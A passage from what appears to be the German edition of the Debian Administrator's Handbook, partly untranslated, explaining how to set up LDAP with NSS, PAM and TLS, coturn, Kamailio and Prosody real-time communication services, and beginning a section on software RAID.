Die alte Datenbank verschieben? Diese Frage wird nur gestellt, wenn die Konfigurierung vorgenommen wird, während eine Datenbank bereits existiert. Antworten Sie nur mit „ja“, wenn Sie tatsächlich wieder mit einer leeren Datenbank beginnen möchten, zum Beispiel, wenn Sie dpkg-reconfigure slapd unmittelbar nach der ersten Installierung ausführen.

ZURÜCK ZU DEN GRUNDLAGEN Das LDIF-Format

Eine LDIF-Datei (LDAP Data Interchange Format) ist eine übertragbare Textdatei, die den Inhalt einer LDAP-Datenbank (oder einen Teil davon) beschreibt; sie kann dazu verwendet werden, die Daten auf einen beliebigen anderen LDAP-Server einzuspeisen.

Eine minimale Datenbank ist jetzt konfiguriert, wie die folgende Anfrage zeigt:

$ ldapsearch -x -b dc=falcot,dc=com # extended LDIF # # LDAPv3 # base <dc=falcot,dc=com> with scope subtree # filter: (objectclass=*) # requesting: ALL # # falcot.com dn: dc=falcot,dc=com objectClass: top objectClass: dcObject objectClass: organization o: Falcot Corp dc: falcot # admin, falcot.com dn: cn=admin,dc=falcot,dc=com objectClass: simpleSecurityObject objectClass: organizationalRole cn: admin description: LDAP administrator # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1

Die Anfrage ergibt zwei Objekte: die Organisation selbst und den verwaltenden Benutzer.

11.7.2. Das Verzeichnis ausfüllen

Da eine leere Datenbank nicht sehr nützlich ist, werden wir alle bestehenden Verzeichnisse in sie einspeisen; hierzu gehören die Benutzer-, Gruppen-, Dienst- und Host-Datenbanken.

Das Paket migrationtools stellt einen Satz von Skripten bereit, die dazu dienen, Daten aus den Standard-Unix-Verzeichnissen (/etc/passwd, /etc/group, /etc/services, /etc/hosts und so weiter) zu extrahieren, diese Daten zu konvertieren und sie in die LDAP-Datenbank einzuspeisen.

Nachdem das Paket installiert ist, muss die Datei /etc/migrationtools/migrate_common.ph editiert werden; die Optionen IGNORE_UID_BELOW and IGNORE_GID_BELOW müssen aktiviert werden (es genügt, das Kommentarzeichen zu entfernen) und die Variablen DEFAULT_MAIL_DOMAIN/DEFAULT_BASE müssen aktualisiert werden.

Der tatsächliche Übertragungsvorgang wird mit dem Befehl migrate_all_online.sh folgendermaßen ausgeführt:

# cd /usr/share/migrationtools # PERL5LIB="${PERL5LIB}:/etc/migrationtools" LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

Das Skript migrate_all_online.sh stellt einige Fragen zur LDAP-Datenbank, auf die die Daten übertragen werden sollen. Tabelle 11.1 fasst die Antworten zusammen, die im Fallbeispiel Falcot gegeben wurden.

Tabelle 11.1. Antworten auf die vom Skript migrate_all_online.sh gestellten Fragen

Frage | Antwort
X.500 Benennungskontext | dc=falcot,dc=com
Hostname des LDAP-Servers | localhost
Manager-DN | cn=admin,dc=falcot,dc=com
Verbindungslegitimation | das Verwaltungspasswort
Ein DUAConfigProfil anlegen | nein

You might notice that we extend the PERL5LIB variable. This is due to Debian bug report #982666.

→ https://bugs.debian.org/982666

As you might have also noticed, we deliberately ignore migration of the /etc/aliases file, since the standard schema as provided by Debian does not include the structures that this script uses to describe email aliases. Should we want to integrate this data into the directory, the /etc/ldap/schema/misc.schema file should be added to the standard schema.

HILFSPROGRAMM Ein LDAP-Verzeichnis durchsuchen

Das Programm jxplorer (im gleichnamigen Paket) ist ein grafisches Hilfsprogramm, das es ermöglicht, eine LDAP-Datenbank zu durchsuchen und zu editieren. Es ist ein interessantes Programm, das einem Administrator einen guten Überblick über die hierarchische Struktur der LDAP-Daten gibt.

Beachten Sie auch die Verwendung der Option -c des Befehls ldapadd; diese Option bestimmt, dass der Verarbeitungsablauf im Falle eines Fehlers nicht abgebrochen wird. Die Verwendung dieser Option ist notwendig, da die Konvertierung der Datei /etc/services häufig einige Fehler hervorruft, die ohne Gefahr ignoriert werden können.

11.7.3. Konten mit LDAP verwalten

Jetzt, da die LDAP-Datenbank einige nützliche Informationen enthält, ist es an der Zeit diese Daten zu nutzen. Dieser Abschnitt richtet sein Augenmerk darauf, wie ein Linux-System so zu konfigurieren ist, dass die verschiedenen Systemverzeichnisse die LDAP-Datenbank benutzen.

11.7.3.1. NSS konfigurieren

Das NSS-System (Name Service Switch, siehe Seitenleiste WEITERE SCHRITTE NSS und Systemdatenbanken) ist ein modulares System, das Informationen für Systemverzeichnisse festlegen oder einholen kann. Um LDAP als Datenquelle für NSS verwenden zu können, muss das Paket libnss-ldap installiert werden. Bei seiner Installierung werden einige Fragen gestellt; die Antworten sind in Tabelle 11.2 zusammengefasst.

Tabelle 11.2. Configuring the libnss-ldap package:

Frage | Antwort
LDAP server URI (Uniform Resource Identifier) | ldapi://ldap.falcot.com
Kennzeichnender Name der Suchbasis | dc=falcot,dc=com
Zu verwendende LDAP-Version | 3
LDAP-Administratorkonto | cn=admin,dc=falcot,dc=com
Passwort des LDAP-Administratorkontos | das Verwaltungspasswort
Dem LDAP-Administrationskonto erlauben, sich wie lokales Root zu verhalten? | yes
Benötigt die LDAP-Datenbank eine Anmeldung? | nein

Die Datei /etc/nsswitch.conf muss nun angepasst werden, um NSS so zu konfigurieren, dass es das neu installierte ldap-Modul benutzt. Sie können das in /usr/share/doc/libnss-ldap/examples/nsswitch.ldap enthaltene Beispiel verwenden oder Ihre bestehende Konfiguration bearbeiten.

Beispiel 11.23. Die Datei /etc/nsswitch.conf

#ident $Id: nsswitch.ldap,v 2.4 2003/10/02 02:36:25 lukeh Exp $ # # An example file that could be copied over to /etc/nsswitch.conf; it # uses LDAP conjunction with files. # # "hosts:" and "services:" in this file are used only if the # /etc/netconfig file has a "-" for nametoaddr_libs of "inet" transports. # the following lines obviate the "+" entry in /etc/passwd and /etc/group. passwd: files ldap shadow: files ldap group: files ldap # consult DNS first, we will need it to resolve the LDAP host. (If we # can't resolve it, we're in infinite recursion, because libldap calls # gethostbyname(). Careful!) hosts: dns ldap # LDAP is nominally authoritative for the following maps. services: ldap [NOTFOUND=return] files networks: ldap [NOTFOUND=return] files protocols: ldap [NOTFOUND=return] files rpc: ldap [NOTFOUND=return] files ethers: ldap [NOTFOUND=return] files # no support for netmasks, bootparams, publickey yet. netmasks: files bootparams: files publickey: files automount: files # I'm pretty sure nsswitch.conf is consulted directly by sendmail, # here, so we can't do much here. Instead, use bbense's LDAP # rules ofr sendmail. aliases: files sendmailvars: files # Note: there is no support for netgroups on Solaris (yet) netgroup: ldap [NOTFOUND=return] files

Das ldap-Modul wird normalerweise vor den anderen aufgenommen und wird daher zuerst abgefragt. Eine beachtenswerte Ausnahme stellt der hosts-Dienst dar, da zunächst der DNS befragt werden muss (um ldap.falcot.com aufzulösen), bevor mit dem LDAP-Server Verbindung aufgenommen werden kann. Ohne diese Ausnahme würde eine Anfrage nach einem Hostnamen an den LDAP-Server gerichtet; dies würde eine Namensauflösung für den LDAP-Server auslösen, und so weiter in einer unendlichen Schleife.

Falls der LDAP-Server als maßgeblich angesehen werden soll (und die lokalen vom Modul files benutzten Dateien ignoriert werden sollen), können die Dienste mit der folgenden Syntax konfiguriert werden:

dienst: ldap [NOTFOUND=return] files.

Falls der gesuchte Eintrag in der LDAP-Datenbank nicht vorhanden ist, wird die Anfrage die Antwort „nicht vorhanden“ ergeben, selbst wenn er in einer der lokalen Dateien vorhanden ist; diese lokalen Dateien werden nur benutzt, wenn der LDAP-Service abgeschaltet ist.

11.7.3.2. PAM konfigurieren

Dieser Abschnitt beschreibt die Konfiguration von PAM (siehe Seitenleiste HINTER DEN KULISSEN /etc/environment und /etc/default/locale), die es Anwendungen ermöglicht, die gegenüber der LDAP-Datenbank erforderlichen Authentifizierungen vorzunehmen.

VORSICHT Fehlerhafte Authentifizierung

Die Änderung der von verschiedenen Programmen verwendeten standardmäßigen PAM-Konfiguration ist ein heikler Vorgang. Ein Fehler kann zu einer fehlerhaften Authentifizierung führen, die das Anmelden verhindern kann. Eine gute Vorsichtsmaßnahme besteht daher darin, eine Root-Konsole offen zu halten. So können mit geringem Aufwand eventuell auftretende Konfigurierungsfehler behoben und Dienste neu gestartet werden.

Das LDAP-Modul für PAM wird von dem Paket libpam-ldap bereitgestellt. Beim Installieren dieses Pakets werden einige Fragen gestellt, die denen bei libnss-ldap ähnlich sind; einige Konfigurationsparameter (wie zum Beispiel die URI des LDAP-Servers) werden sogar mit dem Paket libnss-ldap gemeinsam benutzt. Die Antworten sind in Tabelle 11.3 zusammengefasst.

Tabelle 11.3. Konfigurierung von libpam-ldap

Frage | Antwort
Dem LDAP-Administrationskonto erlauben, sich wie lokales Root zu verhalten? | Ja. Dies ermöglicht es, den normalen passwd-Befehl zur Änderung von Passwörtern zu verwenden, die in der LDAP-Datenbank gespeichert sind.
Erfordert die LDAP-Datenbank eine Anmeldung? | nein
LDAP account for root: | cn=admin,dc=falcot,dc=com
LDAP administrative password: | das Verwaltungspasswort der LDAP-Datenbank
Local encryption algorithm to use for passwords: | crypt
PAM profiles to enable: | LDAP Authentication is among the enabled profiles

Durch das Installieren von libpam-ldap wird die standardmäßige PAM-Konfiguration, die in den Dateien /etc/pam.d/common-auth, /etc/pam.d/common-password und /etc/pam.d/common-account festgelegt ist, automatisch angepasst. Dieser Vorgang verwendet das spezielle Hilfsprogramm pam-auth-update (vom Paket libpam-runtime bereitgestellt). Dieses Programm kann auch vom Administrator eingesetzt werden, falls er PAM-Module aktivieren oder deaktivieren möchte.

11.7.3.3. LDAP-Datenaustausch absichern

Standardmäßig überträgt das LDAP-Protokoll im Klartext über das Netzwerk; dies gilt auch für die (verschlüsselten) Passwörter. Da die verschlüsselten Passwörter aus dem Netzwerk entnommen werden können, werden sie anfällig für Wörterbuchangriffe sein. Dies kann durch den Einsatz einer zusätzlichen Verschlüsselungsschicht verhindert werden; die Aktivierung dieser Schicht ist das Thema dieses Abschnitts.

11.7.3.3.1. Den Server konfigurieren

Der erste Schritt besteht darin, ein Schlüsselpaar für den LDAP-Server zu erstellen (bestehend aus einem öffentlichen Schlüssel und einem privaten Schlüssel). Die Falcot-Administratoren verwenden wieder easy-rsa, um es zu erzeugen (siehe Abschnitt 10.2.2, „Public-Key-Infrastrultur: easy-rsa“). Wenn Sie ./easyrsa build-server-full ldap.falcot.com nopass ausführen, werden Sie nach dem "Common Name" gefragt. Die Antwort auf diese Frage muss der vollqualifizierte Hostname für den LDAP-Server sein; in unserem Fall ldap.falcot.com.

Dieser Befehl erstellt ein Zertifikat in der Datei pki/issued/ldap.falcot.com.crt; der dazugehörige private Schlüssel wird in der Datei pki/private/ldap.falcot.com.key abgespeichert.

Jetzt müssen diese Schlüssel an ihrem Standard-Platz installiert werden, und wir müssen dafür Sorge tragen, dass die private Datei vom LDAP-Sever gelesen werden kann, der unter der Userkennung openldap läuft:

# adduser openldap ssl-cert Adding user `openldap' to group `ssl-cert' ... Adding user openldap to group ssl-cert Done. # mv pki/private/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key # chown root.ssl-cert /etc/ssl/private/ldap.falcot.com.key # chmod 0640 /etc/ssl/private/ldap.falcot.com.key # mv pki/issued/ldap.falcot.com.crt /etc/ssl/certs/ldap.falcot.com.pem # chown root.root /etc/ssl/certs/ldap.falcot.com.pem # chmod 0644 /etc/ssl/certs/ldap.falcot.com.pem

Der Hintergrundprozess slapd muss ebenfalls dazu gebracht werden, diese Schlüssel für die Verschlüsselung zu verwenden. Die Konfiguration des LDAP-Servers wird dynamisch verwaltet: Die Konfiguration kann mit normalen LDAP-Vorgänge innerhalb der Objekt-Hierarchie cn=config aktualisiert werden und der Server aktualisiert /etc/ldap/slapd.d in Echtzeit, um die Konfiguration anhaltend zu machen. Ldapmodify ist also das geeignete Werkzeug, um die Konfiguration zu aktualisieren:

Beispiel 11.24. slapd für eine Verschlüsselung konfigurieren

# cat >ssl.ldif <<END dn: cn=config changetype: modify add: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key - add: olcTLSCertificateFile olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem END # ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "cn=config" # systemctl restart slapd.service # ldapsearch -Y EXTERNAL -H ldapi:/// -b cn=config -s base | grep TLS SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem olcTLSCertificateKeyFile: /etc/ssl/certs/ldap.falcot.com.key

WERKZEUG ldapvi um ein LDAP-Verzeichnis zu editieren

With ldapvi, you can display an LDIF output of any part of the LDAP directory, make some changes in the text editor, and let the tool do the corresponding LDAP operations for you.

Es ist deshalb eine komfortable Methode, die Konfiguration des LDAP-Servers einfach durch Ändern der Hierarchie cn=config auf dem Laufenden zu halten.

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

Der letzte Schritt zur Aktivierung der Verschlüsselung besteht darin, die Variable SLAPD_SERVICES in der Datei /etc/default/slapd zu ändern. Wir gehen dabei auf Nummer Sicher und deaktivieren nicht abgesichertes LDAP vollständig.

Beispiel 11.25. Die Datei /etc/default/slapd

# Default location of the slapd.conf file or slapd.d cn=config directory. If # empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to # /etc/ldap/slapd.conf). SLAPD_CONF= # System account to run the slapd server under. If empty the server # will run as root. SLAPD_USER="openldap" # System group to run the slapd server under. If empty the server will # run in the primary group of its user. SLAPD_GROUP="openldap" # Path to the pid file of the slapd server. If not set the init.d script # will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.d by # default) SLAPD_PIDFILE= # slapd normally serves ldap only on all TCP-ports 389. slapd can also # service requests on TCP-port 636 (ldaps) and requests via unix # sockets. # Example usage: # SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///" SLAPD_SERVICES="ldaps:/// ldapi:///" # If SLAPD_NO_START is set, the init script will not start or restart # slapd (but stop will still work). Uncomment this if you are # starting slapd via some other means or if you don't want slapd normally # started at boot. #SLAPD_NO_START=1 # If SLAPD_SENTINEL_FILE is set to path to a file and that file exists, # the init script will not start or restart slapd (but stop will still # work). Use this for temporarily disabling startup of slapd (when doing # maintenance, for example, or through a configuration management system) # when you don't want to edit a configuration file. SLAPD_SENTINEL_FILE=/etc/ldap/noslapd # For Kerberos authentication (via SASL), slapd by default uses the system # keytab file (/etc/krb5.keytab). To use a different keytab file, # uncomment this line and change the path. #export KRB5_KTNAME=/etc/krb5.keytab # Additional options to pass to slapd SLAPD_OPTIONS=""

11.7.3.3.2. Den Client konfigurieren

Auf der Client-Seite muss die Konfiguration der Module libpam-ldap und libnss-ldap angepasst werden um einen ldaps:// URI zu nutzen zu können.

LDAP clients also need to be able to authenticate the server. In an X.509 public key infrastructure, public certificates are signed by the key of a certificate authority (CA). With easy-rsa, the Falcot administrators have created their own CA and they now need to configure the system to trust the signatures of Falcot's CA. This can be done by putting the CA certificate in /usr/local/share/ca-certificates and running update-ca-certificates.

# cp pki/ca.crt /usr/local/share/ca-certificates/falcot.crt # update-ca-certificates Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done. Running hooks in /etc/ca-certificates/update.d... Adding debian:falcot.pem done. done.

Nicht zuletzt kann der voreingestellte URI und die Basis-DN, die von diversen Kommandozeilen-Tools verwendet werden, können in /etc/ldap/ldap.conf geändert werden. Das erspart einiges an Tipparbeit.

Beispiel 11.26. Die Datei /etc/ldap/ldap.conf

# # LDAP Defaults # # See ldap.conf(5) for details # This file should be world readable but not world writable. #BASE dc=example,dc=com #URI ldap://ldap.example.com ldap://ldap-provider.example.com:666 #SIZELIMIT 12 #TIMELIMIT 15 #DEREF never # TLS certificates (needed for GnuTLS) TLS_CACERT /etc/ssl/certs/ca-certificates.crt

11.8. Echtzeit-Kommunikationsdienste

Real-Time Communication (RTC) Dienste umfassen Sprache, Video/Webcam, Instant Messaging (IM) und Desktop-Freigaben. Dieses Kapitel gibt eine kurze Einführung in drei der für den Betrieb von RTC erforderlichen Dienste, darunter ein TURN-Server, SIP-Server und XMPP-Server. Ausführliche Informationen zur Planung, Installation und Verwaltung dieser Dienste finden Sie im Real-Time Communications Quick Start Guide, der Beispiele speziell für Debian enthält.

→ https://rtcquickstart.org

Sowohl SIP als auch XMPP können die gleiche Funktionalität bieten. SIP ist etwas bekannter für Sprache und Video, während XMPP traditionell als IM-Protokoll angesehen wird. Allerdings können beide für jeden dieser Zwecke verwendet werden. Um die Konnektivitätsmöglichkeiten zu maximieren, wird empfohlen, beide parallel zu betreiben.

Diese Dienste stützen sich sowohl zur Authentifizierung als auch zur Wahrung der Vertraulichkeit auf X.509-Zertifikate. Siehe Abschnitt 10.2, „X.509-Zertifikate“ für weitere Informationen.

11.8.1. DNS-Einstellungen für RTC-Dienste

RTC services require DNS SRV and NAPTR records. A sample configuration that can be placed in the zone file for falcot.com (see also Beispiel 10.13, „Auszug aus der Datei /etc/bind/db.falcot.com“:

; the server where everything will run server1 IN A 198.51.100.19 server1 IN AAAA 2001:DB8:1000:2000::19 ; IPv4 only for TURN for now, some clients are buggy with IPv6 turn-server IN A 198.51.100.19 ; IPv4 and IPv6 addresses for SIP sip-proxy IN A 198.51.100.19 sip-proxy IN AAAA 2001:DB8:1000:2000::19 ; IPv4 and IPv6 addresses for XMPP xmpp-gw IN A 198.51.100.19 xmpp-gw IN AAAA 2001:DB8:1000:2000::19 ; DNS SRV and NAPTR for STUN / TURN _stun._udp IN SRV 0 1 3467 turn-server.falcot.com. _turn._udp IN SRV 0 1 3467 turn-server.falcot.com. @ IN NAPTR 10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com. ; DNS SRV and NAPTR records for SIP _sips._tcp IN SRV 0 1 5061 sip-proxy.falcot.com. @ IN NAPTR 10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com. ; DNS SRV records for XMPP Server and Client modes: _xmpp-client._tcp IN SRV 5 0 5222 xmpp-gw.falcot.com. _xmpp-server._tcp IN SRV 5 0 5269 xmpp-gw.falcot.com.

11.8.2. TURN-Server

TURN ist ein Dienst, der Clients hinter NAT-Routern und Firewalls hilft, die effizienteste Art der Kommunikation mit anderen Clients zu finden und die Medienströme weiterzuleiten, wenn kein direkter Medienpfad gefunden werden kann. Es wird dringend empfohlen, den TURN-Server zu installieren, bevor die anderen RTC-Dienste den Endbenutzern angeboten werden.

TURN und das zugehörige ICE-Protokoll sind offene Standards. Um von diesen Protokollen zu profitieren, die Konnektivität zu maximieren und die Frustration der Benutzer zu minimieren, ist es wichtig sicherzustellen, dass jede Client-Software ICE und TURN unterstützt.

Damit der ICE-Algorithmus effektiv funktioniert, muss der Server zwei öffentliche IPv4-Adressen haben.

Installieren Sie das Paket coturn und bearbeiten Sie die Konfigurationsdatei /etc/turnserver.conf. Standardmäßig wird eine SQLite-Datenbank in /var/db/turndb für Benutzerkontoeinstellungen konfiguriert, aber stattdessen können auch PostgreSQL, MySQL oder Redis eingerichtet werden, wenn dies gewünscht wird. Das Wichtigste ist die Eingabe der IP-Adressen des Servers.

The server can be started running turnserver from the coturn package. We want the server to be an automatically started system service. This is the default behavior using systemd. Only when using the older SysVinit you have to edit the /etc/default/coturn file like this:

# # Uncomment it if you want to have the turnserver running as # an automatic system service daemon # TURNSERVER_ENABLED=1

Standardmäßig verwendet der TURN-Server anonymen Zugriff. Wir müssen die Benutzer hinzufügen, die wir verwenden wollen:

# turnadmin -a -u roland -p secret_password -r falcot.com # turnadmin -A -u admin -p secret_password

Wir verwenden das Argument -a, um einen normalen Benutzer und -A, um einen Admin-Benutzer hinzuzufügen.

11.8.3. SIP Proxy-Server

Ein SIP-Proxy-Server verwaltet die ein- und ausgehenden SIP-Verbindungen zwischen anderen Organisationen, SIP-Trunking-Providern, SIP-Telefonanlagen wie Asterisk, SIP-Telefonen, SIP-basierten Softphones und WebRTC-Anwendungen.

Es wird dringend empfohlen, den SIP-Proxy zu installieren und zu konfigurieren, bevor Sie eine SIP-Telefonanlage einrichten. Der SIP-Proxy normalisiert einen Großteil des Datenverkehrs, der die Telefonanlage erreicht und sorgt für mehr Konnektivität und Ausfallsicherheit.

11.8.3.1. SIP-Proxy installieren

Install the kamailio package and the package for the database backend. The Falcot administrators chose MySQL, so they install kamailio-mysql-modules and mariadb-server. /etc/kamailio/kamctlrc is the configuration file for the control tools kamctl and kamdbctl. You need to edit and set the SIP_DOMAIN to your SIP service domain and set the DBENGINE to MySQL, another database backend can be used.

[...] ## your SIP domain SIP_DOMAIN=sip.falcot.com ## chrooted directory # CHROOT_DIR="/path/to/chrooted/directory" ## database type: MYSQL, PGSQL, ORACLE, DB_BERKELEY, DBTEXT, or SQLITE # by default none is loaded # # If you want to setup a database with kamdbctl, you must at least specify # this parameter. DBENGINE=MYSQL [...]

Nun konzentrieren wir uns auf die Konfigurationsdatei /etc/kamailio/kamailio.cfg. Falcot benötigt eine Benutzerauthentifizierung und einen dauerhaften Benutzerort, daher fügen sie die folgenden #!define Direktiven am Anfang dieser Datei hinzu:

#!KAMAILIO # # Kamailio (OpenSER) SIP Server v5.2 - default configuration script # - web: https://www.kamailio.org # - git: https://github.com/kamailio/kamailio #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_USRLOCDB [...]

Kamailio needs a database structure that we can create running kamdbctl create as root. Finally, we can add some users with kamctl.

# kamdbctl create [...] # kamctl add roland secret_password

Once everything is properly configured you can start or restart the service with systemctl restart kamailio, you can connect with a SIP client providing the IP address and the port (5090 is the default port). The users have the following id: roland@sip.falcot.com, and they can login using a client (see Abschnitt 13.9, „Echtzeit-Kommunikationssoftware“).

11.8.4. XMPP-Server

Ein XMPP-Server verwaltet die Konnektivität zwischen lokalen XMPP-Benutzern und XMPP-Benutzern in anderen Domänen im öffentlichen Internet.

WÖRTERVERZEICHNIS XMPP oder Jabber?

XMPP wird manchmal als Jabber bezeichnet. Tatsächlich ist Jabber ein Warenzeichen und XMPP ist der offizielle Name des Standards.

prosody is a popular XMPP server that operates reliably on Debian servers.

11.8.4.1. Installieren des XMPP-Servers

Installieren Sie das Paket prosody.

Überprüfen Sie die Konfigurationsdatei /etc/prosody/prosody.cfg.lua. Das Wichtigste ist das Einfügen von JIDs der Benutzer, die den Server verwalten dürfen.

admins = { "joe@falcot.com" }

Außerdem wird für jede Domäne eine eigene Konfigurationsdatei benötigt. Kopieren Sie das Beispiel aus /etc/prosody/conf.avail/example.com.cfg.lua und verwenden Sie es als Ausgangspunkt. Hier ist falcot.com.cfg.lua:

VirtualHost "falcot.com" enabled = true ssl = { key = "/etc/ssl/private/falcot.com.key"; certificate = "/etc/ssl/certs/falcot.com.pem"; } -- Set up a MUC (multi-user chat) room server on conference.example.com: Component "conference.falcot.com" "muc"

Um die Domain zu aktivieren, muss ein Symlink von /etc/prosody/conf.d/ vorhanden sein. Erstellen Sie es so:

# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

Starten Sie den Dienst neu, um die neue Konfiguration zu verwenden.

11.8.4.2. Verwalten des XMPP-Servers

Some management operations can be performed using the prosodyctl command line utility. For example, to add the administrator account specified in /etc/prosody/prosody.cfg.lua:

# prosodyctl adduser joe@falcot.com

Finden Sie in der Prosody online documentation weitere Details zur Anpassung der Konfiguration.

11.8.5. Laufende Dienste auf Port 443

Einige Administratoren bevorzugen alle ihre RTC-Dienste auf Port 443 laufen zu lassen. Dies hilft Benutzern, sich von entfernten Orten wie Hotels und Flughäfen aus zu verbinden, wo andere Ports blockiert werden können oder der Internetverkehr über HTTP-Proxy-Server geleitet wird.

Um diese Strategie zu nutzen, benötigt jeder Dienst (SIP, XMPP und TURN) eine andere IP-Adresse. Alle Dienste können sich weiterhin auf demselben Host befinden, da Linux mehrere IP-Adressen auf einem einzigen Host unterstützt. Die Portnummer 443 muss in den Konfigurationsdateien für jeden Prozess und auch in den DNS-SRV-Einträgen angegeben werden.

11.8.6. WebRTC hinzufügen

Falcot möchte Kunden direkt von der Website aus telefonieren lassen. Die Falcot-Administratoren wollen WebRTC auch als Teil ihres Disaster-Recovery-Plans nutzen, so dass sich die Mitarbeiter zu Hause über Webbrowser in die Telefonanlage des Unternehmens einloggen und im Notfall normal arbeiten können.

IN DER PRAXIS WebRTC ausprobieren

If you have not tried WebRTC before, there are various sites that give an online demonstration and test facilities.

→ https://sip5060.net/test-calls

WebRTC ist eine sich schnell entwickelnde Technologie und es ist wichtig, Pakete aus der Distribution Testing zu verwenden. Eine andere Möglichkeit ist, die Software selbst zu kompilieren.

WebRTC verwendet eine einfache API, um Browser und mobile Anwendungen mit RTC auszustatten, es ist freie Software und wird von Google entwickelt.

→ https://webrtc.org

A very flexible approach is using GStreamer's WebRTC implementation. It enables pipeline-based multimedia applications, which allows developing interesting and highly efficient applications. A good starting point is the following demo by Centricular, the main company that is developing it:

→ https://gitlab.freedesktop.org/gstreamer/gst-examples

Erweiterte Click-to-Call-Websites verwenden normalerweise serverseitiges Scripting, um die Datei config.js dynamisch zu erzeugen. Der DruCall Quellcode zeigt, wie man dies mit PHP macht.

Dieses Kapitel hat nur einen Bruchteil der verfügbaren Serversoftware dargestellt; jedoch wurden die meisten der üblichen Netzwerkdienste beschrieben. Jetzt ist es Zeit für ein noch technischeres Kapitel: wir werden tiefer in die Einzelheiten einiger Konzepte eindringen, sowie Masseneinsätze und Virtualisierungen beschreiben.

Kapitel 12. Erweiterte Verwaltung

Dieses Kapitel greift noch einmal einige Aspekte, die wir bereits beschrieben haben, aus einer anderen Perspektive auf: anstatt einen einzelnen Rechner zu installieren, werden wir Systeme für den Masseneinsatz untersuchen; anstatt RAID- oder LVM-Volumes während der Installierung zu erstellen, lernen wir, dies von Hand zu tun, so dass wir später unsere ursprünglichen Entscheidungen revidieren können. Schließlich werden wir Überwachungsprogramme und Virtualisierungstechniken besprechen. Daher richtet sich dieses Kapitel in erster Linie an professionelle Administratoren und weniger an Einzelpersonen, die für ihr Heimnetzwerk zuständig sind.

12.1. RAID und LVM

Kapitel 4, Installation presented these technologies from the point of view of the installer, and how it integrated them to make their deployment easy from the start. After the initial installation, an administrator must be able to handle evolving storage space needs without having to resort to an expensive re-installation. They must therefore understand the required tools for manipulating RAID and LVM volumes.

Sowohl RAID als auch LVM sind Verfahren, um die eingehängten Speicherbereiche von ihren physischen Entsprechungen (Festplatten oder ihre Partitionen) zu lösen, wobei ersteres die Daten zur Sicherheit und Verfügbarkeit durch redundante Speicherung vor einem Hardwareausfall schützt und letzteres die Datenverwaltung flexibler und unabhängig von der tatsächlichen Größe der zugrunde liegenden Laufwerke macht. In beiden Fällen führt dies zu einem System mit neuen Blockgeräten, die zur Erstellung von Dateisystemen oder Auslagerungsspeicher verwendet werden können, ohne diese notwendigerweise einem physischen Laufwerk zuordnen zu müssen. RAID und LVM haben recht unterschiedliche Ursprünge, ihre Funktionsweise überschneidet sich jedoch teilweise, weshalb sie häufig gemeinsam erwähnt werden.

AUSBLICK Btrfs vereint LVM und RAID

While LVM and RAID are two distinct kernel subsystems that come between the disk block devices and their filesystems, btrfs is a filesystem, initially developed at Oracle, that purports to combine the feature sets of LVM and RAID and much more.

→ https://btrfs.wiki.kernel.org/

Zu den erwähnenswerten Funktionsmerkmalen gehört die Fähigkeit, zu jedem beliebigen Zeitpunkt einen Schnappschuss des Dateisystembaums festhalten zu können. Das Abbild des Schnappschusses nimmt anfangs keinen Speicherplatz ein, da Daten nur kopiert werden, wenn etwas verändert wird. Das Dateisystem kann auch Dateien transparent komprimieren, und Prüfsummen gewährleisten die Integrität aller gespeicherten Daten.

Sowohl bei RAID als auch bei LVM stellt der Kernel eine Gerätedatei bereit in ähnlicher Weise, wie bei denen, die sich auf ein Festplattenlaufwerk oder eine Partition beziehen. Wenn eine Anwendung oder ein anderer Teil des Kernels auf einen Block eines derartigen Geräts zugreifen muss, lenkt das entsprechende Subsystem den Block zu der entsprechenden physischen Ebene. Je nach Konfiguration kann dieser Block auf einer oder mehreren physischen Platten gespeichert sein, wobei sein physischer Ort nicht unbedingt direkt dem Ort des Blocks in dem logischen Gerät entspricht.

12.1.1. Software-RAID

RAID bedeutet Redundant Array of Independent Disks (Redundante Anordnung unabhängiger Festplatten). Ziel dieses Systems ist es, Datenverluste im Falle eines Festplattenausfalls zu vermeiden und Datenverfügbarkeit zu garantieren. Das grundlegende Prinzip ist recht einfach: Daten werden mit einem einstellbaren Grad von Redundanz auf mehreren physischen Platten gespeichert statt nur auf einer. In Abhängigkeit vom Ausmaß dieser Redundanz können Daten selbst bei einem unerwarteten Plattenausfall ohne Verluste von den verbleibenden Platten wieder hergestellt werden.

KULTUR Unabhängig oder preiswert?

Das I in RAID stand ursprünglich für inexpensive (preiswert), da RAID eine erhebliche Steigerung bzgl. der Datensicherheit ermöglichte, ohne in teure und hochwertige Platten investieren zu müssen. Wahrscheinlich aus Imagegründen ist es inzwischen jedoch üblicher, es als Abkürzung für independent (unabhängig) anzusehen, das nicht den unangenehmen Beigeschmack des Billigen hat.

